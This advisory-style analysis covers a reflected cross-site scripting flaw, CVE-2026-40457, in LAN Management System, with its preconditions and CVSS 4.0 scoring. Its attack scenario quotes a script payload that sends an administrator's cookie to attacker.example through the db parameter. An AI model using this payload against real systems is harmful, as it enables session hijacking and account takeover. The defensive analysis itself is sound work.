LAN Management System CVE-2026-40457

Three concurrent conditions must be satisfied: (1) The victim must be an authenticated LMS user with access to the dbrecover.php or netremap.php modules - unauthenticated users are not a viable victim pool since these are internal management interfaces; (2) the victim must actively click a crafted, attacker-controlled URL (CVSS UI:A - no passive or drive-by exploitation path exists); (3) for the netremap.php vector specifically, at least one network must be defined in the LMS instance, as the module's confirmation flow - where the injection occurs - is only reachable when network objects exist (AT:P in CVSS 4.0). The attacker requires no authentication themselves (PR:N). Exploitation is additionally constrained by LMS's typical deployment topology as an intranet-facing ISP management platform, which limits attacker reachability to those with prior network-layer access to the management segment.

The CVSS 4.0 base score of 2.1 (AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N) accurately reflects a low-severity finding despite the network-facing vector. The AT:P metric (Attack Requirements: Present) is the most significant constraint - netremap.php exploitation specifically requires a network to be defined in the LMS instance, making the attack conditional on deployment configuration. The UI:A metric (Active user interaction) means a victim must click a crafted link while authenticated, ruling out automated or drive-by exploitation. Impact is entirely scoped to the victim's browser session (SC:L/SI:L), with no server-side confidentiality, integrity, or availability impact (VC:N/VI:N/VA:N). No EPSS score was included in the source intelligence and cannot be assessed independently. This vulnerability is not in CISA KEV and no public POC has been identified. The combination of social engineering prerequisite, authenticated-victim requirement, and configuration-dependent precondition places this firmly in the category of low-real-world-risk despite being network-reachable. Deployments where LMS is accessible only on internal ISP management networks further reduce attacker reachability.

An attacker identifies an LMS administrator and crafts a phishing link embedding a JavaScript payload in the db GET parameter targeting dbrecover.php - for example, appending <script>document.location='https://attacker.example/steal?c='+document.cookie</script> as the parameter value. When the authenticated administrator clicks the link, the LMS server reflects the unescaped parameter directly into the HTML response, causing the attacker's script to execute in the victim's browser session. The attacker can then harvest the administrator's session token and perform privileged LMS operations on their behalf. No public exploit code has been identified at time of analysis, though the attack is trivially constructable from the commit diff alone.